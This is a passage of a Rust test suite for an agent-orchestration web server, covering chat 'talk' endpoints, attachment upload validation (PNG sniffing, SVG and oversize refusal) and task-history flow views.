14011        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14012            .expect("serialize closed talk");
14013        assert_eq!(
14014            after_clear, before_clear,
14015            "clear must not rewrite a closed talk"
14016        );
14017    }
14018
14019    /// Keeps both claims observable long enough to exercise the distinction
14020    /// between one busy talk and a globally locked Chat surface.
14021    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14022
14023    #[tokio::test]
14024    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14025        let tmp = TempDir::new().expect("tempdir");
14026        let repo = tmp.path().join("repo");
14027        std::fs::create_dir_all(&repo).expect("repo dir");
14028        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14029        let f = Fixture::with_repo(repo).await;
14030        let id_a = f.post("/api/talks", None).await.json()["id"]
14031            .as_str()
14032            .unwrap()
14033            .to_owned();
14034        let id_b = f.post("/api/talks", None).await.json()["id"]
14035            .as_str()
14036            .unwrap()
14037            .to_owned();
14038
14039        let a = f
14040            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14041            .await;
14042        assert_eq!(a.status, 202, "{}", a.body);
14043        assert_eq!(a.json()["thinking"], true);
14044        let b = f
14045            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14046            .await;
14047        assert_eq!(b.status, 202, "{}", b.body);
14048        assert_eq!(b.json()["thinking"], true);
14049
14050        let listed = f.get("/api/talks").await.json();
14051        for id in [&id_a, &id_b] {
14052            let view = listed
14053                .as_array()
14054                .unwrap()
14055                .iter()
14056                .find(|talk| talk["id"] == *id)
14057                .unwrap();
14058            assert_eq!(view["thinking"], true, "{listed}");
14059        }
14060        let repeated = f
14061            .post(
14062                &format!("/api/talks/{id_a}/say"),
14063                Some(r#"{"text":"again"}"#),
14064            )
14065            .await;
14066        assert_eq!(repeated.status, 202, "{}", repeated.body);
14067        assert_eq!(repeated.json()["pending"], "again");
14068    }
14069
14070    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
14071    /// few more, since real uploads are never exactly eight bytes.
14072    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14073
14074    #[tokio::test]
14075    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14076        let f = Fixture::start().await;
14077        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14078
14079        let res = f
14080            .post_bytes(
14081                &format!("/api/talks/{id}/attachments"),
14082                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14083                PNG_BYTES,
14084            )
14085            .await;
14086        assert_eq!(res.status, 201, "{}", res.body);
14087        let body = res.json();
14088        assert_eq!(body["name"], "shot.png");
14089        assert_eq!(body["mime"], "image/png");
14090        assert_eq!(body["bytes"], PNG_BYTES.len());
14091        let att_id = body["id"].as_str().expect("id").to_owned();
14092        assert_eq!(
14093            att_id.len(),
14094            32,
14095            "the id must never be a client-suppliable path: {att_id}"
14096        );
14097
14098        let got = f
14099            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14100            .await;
14101        assert_eq!(got.status, 200, "{}", got.body);
14102        assert_eq!(got.header("content-type"), Some("image/png"));
14103        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14104        assert_eq!(got.bytes, PNG_BYTES);
14105    }
14106
14107    #[tokio::test]
14108    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14109        let f = Fixture::start().await;
14110        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14111
14112        // SVG can carry a `<script>`, so it is never on the whitelist even
14113        // though it is a real IANA image type.
14114        let svg = f
14115            .post_bytes(
14116                &format!("/api/talks/{id}/attachments"),
14117                &[("Content-Type", "image/svg+xml")],
14118                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14119            )
14120            .await;
14121        assert!(
14122            (400..500).contains(&svg.status),
14123            "svg must be refused: {} {}",
14124            svg.status,
14125            svg.body
14126        );
14127        assert!(svg.body.contains("SVG"), "{}", svg.body);
14128
14129        let text = f
14130            .post_bytes(
14131                &format!("/api/talks/{id}/attachments"),
14132                &[("Content-Type", "text/plain")],
14133                b"just some text",
14134            )
14135            .await;
14136        assert!(
14137            (400..500).contains(&text.status),
14138            "an unlisted type must be refused: {} {}",
14139            text.status,
14140            text.body
14141        );
14142
14143        // The declared type is a real png, but the size check runs before
14144        // the bytes are even looked at.
14145        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14146        let big = f
14147            .post_bytes(
14148                &format!("/api/talks/{id}/attachments"),
14149                &[("Content-Type", "image/png")],
14150                &oversized,
14151            )
14152            .await;
14153        assert_eq!(
14154            big.status,
14155            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14156            "{}",
14157            big.body
14158        );
14159    }
14160
14161    #[tokio::test]
14162    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14163        let f = Fixture::start().await;
14164        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14165
14166        // A whitelisted `Content-Type`, but bytes that are not actually a
14167        // png - the declared header alone is never trusted.
14168        let res = f
14169            .post_bytes(
14170                &format!("/api/talks/{id}/attachments"),
14171                &[("Content-Type", "image/png")],
14172                b"<html>not a picture</html>",
14173            )
14174            .await;
14175        assert!((400..500).contains(&res.status), "{}", res.body);
14176    }
14177
14178    #[tokio::test]
14179    async fn an_unknown_attachment_id_is_a_404() {
14180        let f = Fixture::start().await;
14181        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
14182
14183        let res = f
14184            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
14185            .await;
14186        assert_eq!(res.status, 404, "{}", res.body);
14187    }
14188
14189    #[tokio::test]
14190    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
14191        let f = Fixture::start().await;
14192        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
14193
14194        let uploaded = f
14195            .post_bytes(
14196                &format!("/api/talks/{id}/attachments"),
14197                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14198                PNG_BYTES,
14199            )
14200            .await;
14201        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14202        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
14203
14204        let res = f
14205            .post(
14206                &format!("/api/talks/{id}/say"),
14207                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
14208            )
14209            .await;
14210        assert_eq!(res.status, 202, "{}", res.body);
14211        let queued = res.json();
14212        let turns = queued["turns"].as_array().expect("turns array");
14213        assert_eq!(
14214            turns.len(),
14215            1,
14216            "an empty body with an attachment is still a turn: {queued}"
14217        );
14218        assert_eq!(turns[0]["who"], "operator");
14219        assert_eq!(turns[0]["body"], "");
14220        let atts = turns[0]["attachments"]
14221            .as_array()
14222            .expect("attachments array");
14223        assert_eq!(atts.len(), 1);
14224        assert_eq!(atts[0]["id"], att_id);
14225        assert_eq!(atts[0]["mime"], "image/png");
14226
14227        // Not only in the response: `record` flushes to disk before the
14228        // agent's own turn is even spawned.
14229        let on_disk = f.talks().get(&id).expect("get");
14230        assert_eq!(on_disk.turns[0].attachments.len(), 1);
14231        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
14232    }
14233
14234    #[tokio::test]
14235    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
14236        let f = Fixture::start().await;
14237        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
14238
14239        let res = f
14240            .post(
14241                &format!("/api/talks/{id}/say"),
14242                Some(&format!(
14243                    r#"{{"text":"hi","attachments":["{}"]}}"#,
14244                    "a".repeat(32)
14245                )),
14246            )
14247            .await;
14248        assert!((400..500).contains(&res.status), "{}", res.body);
14249        assert!(res.body.contains("unknown attachment"), "{}", res.body);
14250
14251        let on_disk = f.talks().get(&id).expect("get");
14252        assert!(
14253            on_disk.turns.is_empty(),
14254            "a rejected attachment id must not partially record the turn: {:?}",
14255            on_disk.turns
14256        );
14257    }
14258
14259    #[tokio::test]
14260    async fn talk_close_makes_the_talk_refuse_further_turns() {
14261        let f = Fixture::start().await;
14262        let id = seed_talk(&f, "20260904-014455-cd34", "open");
14263
14264        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14265        assert_eq!(closed.status, 200, "{}", closed.body);
14266        assert_eq!(closed.json()["status"], "closed");
14267
14268        // Idempotent: closing an already-closed talk is not an error.
14269        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
14270        assert_eq!(closed_again.status, 200);
14271        assert_eq!(closed_again.json()["status"], "closed");
14272
14273        let said = f
14274            .post(
14275                &format!("/api/talks/{id}/say"),
14276                Some(r#"{"text":"too late"}"#),
14277            )
14278            .await;
14279        assert_eq!(said.status, 409, "{}", said.body);
14280    }
14281
14282    #[tokio::test]
14283    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
14284        let (_tmp, _repo, f) = talk_fixture().await;
14285        let id = f.post("/api/talks", None).await.json()["id"]
14286            .as_str()
14287            .expect("id")
14288            .to_owned();
14289        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14290        assert_eq!(closed.status, 200, "{}", closed.body);
14291
14292        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14293        assert_eq!(reopened.status, 200, "{}", reopened.body);
14294        assert_eq!(reopened.json()["status"], "open");
14295
14296        // Idempotent: reopening an already-open talk is not an error.
14297        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14298        assert_eq!(reopened_again.status, 200);
14299        assert_eq!(reopened_again.json()["status"], "open");
14300
14301        let said = f
14302            .post(
14303                &format!("/api/talks/{id}/say"),
14304                Some(r#"{"text":"still there?"}"#),
14305            )
14306            .await;
14307        assert_eq!(
14308            said.status, 202,
14309            "a reopened talk accepts turns again: {}",
14310            said.body
14311        );
14312    }
14313
14314    #[tokio::test]
14315    async fn talk_reopen_on_an_unknown_id_is_404() {
14316        let f = Fixture::start().await;
14317        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
14318        assert_eq!(res.status, 404, "{}", res.body);
14319    }
14320
14321    #[tokio::test]
14322    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
14323        let f = Fixture::start().await;
14324        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
14325
14326        let deleted = f.delete(&format!("/api/talks/{id}")).await;
14327        assert_eq!(deleted.status, 204, "{}", deleted.body);
14328
14329        let after = f.get(&format!("/api/talks/{id}")).await;
14330        assert_eq!(after.status, 404, "{}", after.body);
14331
14332        let listed = f.get("/api/talks").await.json();
14333        assert!(
14334            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
14335            "a deleted talk must not linger in the list: {listed}"
14336        );
14337    }
14338
14339    #[tokio::test]
14340    async fn talk_delete_on_an_unknown_id_is_404() {
14341        let f = Fixture::start().await;
14342        let res = f.delete("/api/talks/nonexistent-id").await;
14343        assert_eq!(res.status, 404, "{}", res.body);
14344    }
14345
14346    /// A task's page lists every run it ever had, in order, and says what kind
14347    /// of attempt each was - including a resume, which re-pushes the same run
14348    /// id, and a run whose record this build cannot read.
14349    #[tokio::test]
14350    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
14351        let f = Fixture::start().await;
14352        let (a, b, gone) = (
14353            "20260902-140501-aaaa",
14354            "20260902-140502-bbbb",
14355            "20260902-140503-cccc",
14356        );
14357        write_run(&f.runs(), a, RunStatus::Stalled);
14358        let mut review = RunState::new(
14359            PathBuf::from("/repo/magi"),
14360            "main".to_owned(),
14361            "0123456789abcdef".to_owned(),
14362            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
14363                .to_owned(),
14364            Config::default(),
14365        );
14366        review.id = b.to_owned();
14367        review.status = RunStatus::Merged;
14368        write_state(&f.runs(), &review);
14369
14370        let mut task = Task::new(
14371            "retry".to_owned(),
14372            "Do the thing".to_owned(),
14373            PathBuf::from("/repo/magi"),
14374            Source::Human,
14375        );
14376        task.start(a.to_owned());
14377        task.stall("quota");
14378        task.start(a.to_owned());
14379        task.start(b.to_owned());
14380        task.start(gone.to_owned());
14381        // This fixture models an older queue file with repeated run entries.
14382        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
14383        f.queue().put(&mut task).expect("file the task");
14384
14385        let res = f.get(&format!("/api/queue/{}", task.id)).await;
14386        assert_eq!(res.status, 200, "{}", res.body);
14387        let v = res.json();
14388        let h = v["history"].as_array().expect("history");
14389        assert_eq!(h.len(), 4, "{v}");
14390        assert_eq!(h[0]["kind"], "competition");
14391        assert_eq!(h[0]["status"], "stalled");
14392        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
14393        assert_eq!(h[1]["kind"], "resume", "{v}");
14394        assert!(
14395            h[0]["outcome"]
14396                .as_str()
14397                .unwrap()
14398                .contains("unknown. Pass #2"),
14399            "an earlier pass of a resumed run must not claim the final outcome: {v}"
14400        );
14401        assert!(
14402            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
14403            "{v}"
14404        );
14405        assert!(
14406            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
14407            "an unrecorded cause must not be narrated as an operator park: {v}"
14408        );
14409        assert_eq!(h[2]["kind"], "review");
14410        assert!(
14411            h[2]["description"]
14412                .as_str()
14413                .unwrap()
14414                .contains("magi/aaaa/A")
14415        );
14416        assert_eq!(h[2]["status"], "merged");
14417        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
14418        assert_eq!(v["runs_unreadable"], 1);
14419        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
14420        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
14421        assert_eq!(nodes[4]["note"], "unreadable");
14422        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
14423        assert_eq!(v["instruction"], "Do the thing");
14424        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
14425
14426        // The run's own page links back to the task.
14427        let run = f.get(&format!("/api/runs/{a}")).await.json();
14428        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
14429
14430        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
14431    }
14432
14433    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
14434        let mut s = RunState::new(
14435            PathBuf::from("/repo/magi"),
14436            "main".to_owned(),
14437            "0123456789abcdef".to_owned(),
14438            "Do it".to_owned(),
14439            Config::default(),
14440        );
14441        s.status = status;
14442        edit(&mut s);
14443        s
14444    }
14445
14446    fn flow_task(runs: &[&str]) -> Task {
14447        let mut t = Task::new(
14448            "t".to_owned(),
14449            "Do it".to_owned(),
14450            PathBuf::from("/repo/magi"),
14451            Source::Human,
14452        );
14453        for r in runs {
14454            t.start((*r).to_owned());
14455        }
14456        // Synthetic flows without RunPass records model legacy queue data.
14457        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14458        t
14459    }
14460
14461    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
14462        let h = task_history(task, |id| {
14463            states
14464                .iter()
14465                .find(|(i, _)| *i == id)
14466                .and_then(|(_, s)| s.clone())
14467        });
14468        task_flow(task, &h, 5, None)
14469    }
14470
14471    #[test]
14472    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
14473        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
14474        let created = "2026-10-10T01:00:00Z".parse().unwrap();
14475        let first = "2026-10-10T02:00:00Z".parse().unwrap();
14476        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
14477        let held = "2026-10-10T04:00:00Z".parse().unwrap();
14478        let run = flow_run(RunStatus::Implementing, |s| {
14479            s.created_at = created;
14480            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
14481            s.passes[0].started_at = first;
14482            s.passes[1].started_at = resumed;
14483        });
14484        let mut task = flow_task(&[RUN_X, RUN_X]);
14485        task.created_at = queued;
14486        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
14487        task.status = TaskStatus::Held;
14488        task.held_at = Some(held);
14489        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
14490        assert_eq!(
14491            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
14492            vec![Some(queued), Some(first), Some(resumed), Some(held)]
14493        );
14494        assert!(flow.nodes.iter().all(|n| n.time_expected));
14495        let json = serde_json::to_value(&flow).unwrap();
14496        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
14497        assert_eq!(json["nodes"][2]["time_expected"], true);
14498    }
14499
14500    #[test]
14501    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
14502        let created = "2026-10-10T01:00:00Z".parse().unwrap();
14503        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
14504        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
14505        // These timestamps are not the start of the current status.
14506        task.held_at = Some(created);
14507        task.blocked_at = Some(created);
14508        for status in [
14509            TaskStatus::Queued,
14510            TaskStatus::Running,
14511            TaskStatus::Blocked,
14512            TaskStatus::Done,
14513            TaskStatus::Failed,
14514            TaskStatus::Parked,
14515            TaskStatus::Held,
14516        ] {
14517            task.status = status;
14518            if status == TaskStatus::Held {
14519                task.held_at = None;
14520            }
14521            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
14522            assert_eq!(flow.nodes[1].started_at, Some(created));
14523            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
14524            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
14525            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
14526            let json = serde_json::to_value(&flow).unwrap();
14527            assert!(json["nodes"][3]["started_at"].is_null());
14528            assert_eq!(json["nodes"][3]["time_expected"], true);
14529        }
14530    }
14531
14532    #[test]
14533    fn flow_context_links_do_not_expect_start_times() {
14534        let mut task = flow_task(&[]);
14535        task.source = Source::Agent {
14536            run: "chat-id".to_owned(),
14537            node: "chat".to_owned(),
14538        };
14539        let origin = followup_origin(&fu(None), |_| None, |_| None);
14540        let flow = task_flow(&task, &[], 5, Some(&origin));
14541        for node in &flow.nodes[..2] {
14542            assert!(!node.time_expected);
14543            assert_eq!(node.started_at, None);
14544        }
14545        assert!(flow.nodes[2].time_expected);
14546    }
14547
14548    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14549        crate::queue::FollowUp {
14550            run: "20260901-000000-aaaa".to_owned(),
14551            origin_task: origin_task.map(str::to_owned),
14552            pr: "https://example.com/o/r/pull/1".to_owned(),
14553            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14554                .map(str::to_owned)
14555                .to_vec(),
14556            generation: 1,
14557        }
14558    }
14559
14560    fn parent_task() -> Task {
14561        let mut p = flow_task(&[]);
14562        p.title = "Parent title".to_owned();
14563        p.status = TaskStatus::Done;
14564        p
14565    }
14566
14567    #[test]
14568    fn flow_opens_with_the_parent_task_of_a_followup() {
14569        let p = parent_task();
14570        let pid = p.id.clone();
14571        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14572        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14573        let n = &f.nodes[0];
14574        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14575        assert_eq!(
14576            n.label,
14577            format!("Follow-up of {}", crate::queue::short(&pid))
14578        );
14579        assert_eq!(n.detail.as_deref(), Some("Parent title"));
14580        assert_eq!(n.status, Some("done"));
14581        assert_eq!(n.status_of, "task");
14582        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14583        assert_eq!(f.nodes[1].key, "start");
14584        assert_eq!(f.edges[0].from, "origin");
14585        assert_eq!(
14586            f.edges[0].label,
14587            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14588        );
14589    }
14590
14591    #[test]
14592    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14593        let o = followup_origin(
14594            &fu(Some("gone")),
14595            |_| None,
14596            |_| {
14597                Some(RunState::new(
14598                    std::path::PathBuf::from("."),
14599                    "main".to_owned(),
14600                    "0".to_owned(),
14601                    "t".to_owned(),
14602                    crate::config::Config::default(),
14603                ))
14604            },
14605        );
14606        assert!(o.parent.is_none());
14607        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14608        let n = &f.nodes[0];
14609        assert_eq!(n.status_of, "run");
14610        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14611        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14612    }
14613
14614    #[test]
14615    fn flow_followup_with_nothing_readable_has_no_link() {
14616        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14617        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14618        let n = &f.nodes[0];
14619        assert_eq!(n.href, None);
14620        assert_eq!(n.note, Some("unreadable"));
14621        assert!(!n.readable);
14622    }
14623
14624    #[test]
14625    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14626        let o = followup_origin(&fu(None), |_| None, |_| None);
14627        let mut t = flow_task(&[]);
14628        t.origin_chat = Some("c1".to_owned());
14629        let f = task_flow(&t, &[], 5, Some(&o));
14630        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14631        t.source = Source::Agent {
14632            run: "c1".to_owned(),
14633            node: crate::queue::CHAT_NODE.to_owned(),
14634        };
14635        let f = task_flow(&t, &[], 5, Some(&o));
14636        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14637        assert_eq!(
14638            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14639            ("chat", "origin")
14640        );
14641    }
14642
14643    #[test]
14644    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14645        let mut p = parent_task();
14646        p.id = "a b/c".to_owned();
14647        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14648        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14649    }
14650
14651    #[test]
14652    fn flow_opens_with_the_chat_that_queued_the_task() {
14653        let mut t = flow_task(&[]);
14654        t.source = Source::Agent {
14655            run: "a b/c".to_owned(),
14656            node: crate::queue::CHAT_NODE.to_owned(),
14657        };
14658        let f = flow_for(&t, &[]);
14659        assert_eq!(f.nodes[0].key, "chat");
14660        assert_eq!(f.nodes[0].kind, "chat");
14661        assert_eq!(
14662            f.nodes[0].label,
14663            format!("Chat {}", crate::queue::short("a b/c"))
14664        );
14665        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14666        assert_eq!(f.nodes[1].key, "start");
14667        assert_eq!(
14668            f.edges[0],
14669            FlowEdge {
14670                from: "chat".to_owned(),
14671                to: "start".to_owned(),
14672                label: "queued from chat".to_owned(),
14673                attempt: AttemptCost::None,
14674            }
14675        );
14676    }
14677
14678    #[test]
14679    fn flow_has_no_chat_box_for_other_sources() {
14680        for source in [
14681            Source::Human,
14682            Source::Issue {
14683                number: 3,
14684                repo: "o/r".to_owned(),
14685            },
14686            Source::Agent {
14687                run: "20260904-014455-ab12".to_owned(),
14688                node: "implement".to_owned(),
14689            },
14690        ] {
14691            let mut t = flow_task(&[]);
14692            t.source = source;
14693            let f = flow_for(&t, &[]);
14694            assert_eq!(f.nodes[0].key, "start");
14695            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14696            assert!(f.edges.iter().all(|e| e.from != "chat"));
14697        }
14698    }
14699
14700    const FA: &str = "20260902-140501-aaaa";
14701    const FB: &str = "20260902-140502-bbbb";
14702
14703    #[test]
14704    fn flow_follows_blocked_retry_merged_to_done() {
14705        let mut t = flow_task(&[FA, FB]);
14706        t.status = TaskStatus::Done;
14707        let f = flow_for(
14708            &t,
14709            &[
14710                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14711                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14712            ],
14713        );
14714        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14715        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14716        assert_eq!(f.edges.len(), 3);
14717        assert_eq!(f.edges[0].label, "claimed");
14718        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14719        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14720        assert_eq!(f.edges[2].label, "merged \u{2192} done");
14721        assert_eq!(
14722            f.nodes[2].href.as_deref(),
14723            Some("#/runs/20260902-140502-bbbb")
14724        );
14725        assert!(f.nodes[2].decided);
14726    }
14727
14728    #[test]
14729    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14730        let quota = || {
14731            flow_run(RunStatus::Stalled, |s| {
14732                s.quota.push(crate::run::QuotaLoss {
14733                    seat: "judge-1".to_owned(),
14734                    node: "judge".to_owned(),
14735                    at: Timestamp::now(),
14736                    reset: None,
14737                })
14738            })
14739        };
14740        let mut t = flow_task(&[FA, FA]);
14741        t.status = TaskStatus::Queued;
14742        let f = flow_for(&t, &[(FA, Some(quota()))]);
14743        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14744        assert_eq!(f.nodes[1].note, Some("interrupted"));
14745        assert_eq!(
14746            f.nodes[1].status, None,
14747            "no outcome copied onto an earlier pass"
14748        );
14749        assert_eq!(
14750            f.edges[1].attempt,
14751            AttemptCost::Unknown,
14752            "a resume does not prove the earlier pass was refunded"
14753        );
14754        assert!(f.edges[1].label.contains("resume the same run"));
14755        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14756        assert_eq!(
14757            f.edges[2].label,
14758            "stalled after a resume, refund unknown \u{2192} queued"
14759        );
14760        assert!(!f.nodes[2].decided, "a stall is not a decision");
14761        assert_eq!(f.nodes[2].note, Some("no verdict"));
14762    }
14763
14764    #[test]
14765    fn flow_single_pass_quota_stall_is_refunded() {
14766        let t = flow_task(&[FA]);
14767        let f = flow_for(
14768            &t,
14769            &[(
14770                FA,
14771                Some(flow_run(RunStatus::Stalled, |s| {
14772                    s.quota.push(crate::run::QuotaLoss {
14773                        seat: "judge-1".to_owned(),
14774                        node: "judge".to_owned(),
14775                        at: Timestamp::now(),
14776                        reset: None,
14777                    })
14778                })),
14779            )],
14780        );
14781        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14782    }
14783
14784    #[test]
14785    fn flow_parked_refunds_and_stall_without_quota_spends() {
14786        let mut t = flow_task(&[FA]);
14787        t.status = TaskStatus::Queued;
14788        let f = flow_for(
14789            &t,
14790            &[(
14791                FA,
14792                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14793            )],
14794        );
14795        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14796        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14797        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14798        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14799        assert!(!f.nodes[1].decided);
14800    }
14801
14802    #[test]
14803    fn flow_keeps_an_unreadable_run_as_its_own_node() {
14804        let t = flow_task(&[FA, FB]);
14805        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14806        assert_eq!(f.nodes[1].note, Some("unreadable"));
14807        assert!(!f.nodes[1].readable);
14808        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14809        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14810    }
14811
14812    #[test]
14813    fn flow_names_the_branch_of_a_review_only_run() {
14814        let t = flow_task(&[FA]);
14815        let f = flow_for(
14816            &t,
14817            &[(
14818                FA,
14819                Some(flow_run(RunStatus::Merged, |s| {
14820                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14821                })),
14822            )],
14823        );
14824        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14825        assert_eq!(
14826            f.nodes[1].detail.as_deref(),
14827            Some("review-only run of branch magi/x/A")
14828        );
14829    }
14830
14831    #[test]
14832    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14833        let mut t = flow_task(&[FA]);
14834        t.status = TaskStatus::Held;
14835        let pr = crate::run::PrRecord {
14836            url: "https://example.test/pr/1".to_owned(),
14837            number: 1,
14838            state: "open".to_owned(),
14839            checks: "green".to_owned(),
14840            round: 0,
14841            rounds: 3,
14842            red_at_merge: Vec::new(),
14843        };
14844        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14845        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14846        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14847        t.status = TaskStatus::Done;
14848        let f = flow_for(&t, &[(FA, Some(blocked))]);
14849        assert_eq!(f.edges[1].label, "closed by hand: task is done");
14850    }
14851
14852    #[test]
14853    fn flow_with_no_runs_goes_from_queued_to_queued() {
14854        let t = flow_task(&[]);
14855        let f = flow_for(&t, &[]);
14856        assert_eq!(f.nodes.len(), 2);
14857        assert_eq!(f.edges.len(), 1);
14858        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14859        assert_eq!(f.edges[0].attempt, AttemptCost::None);
14860    }
14861
14862    /// A run parked mid-flight keeps a non-terminal status; the page must
14863    /// still say why it stopped and that the attempt came back.
14864    #[test]
14865    fn a_parked_non_terminal_run_is_explained_as_parked() {
14866        let mut s = RunState::new(
14867            PathBuf::from("/repo/magi"),
14868            "main".to_owned(),
14869            "0123456789abcdef".to_owned(),
14870            "Do it".to_owned(),
14871            Config::default(),
14872        );
14873        s.status = RunStatus::Implementing;
14874        s.parked = true;
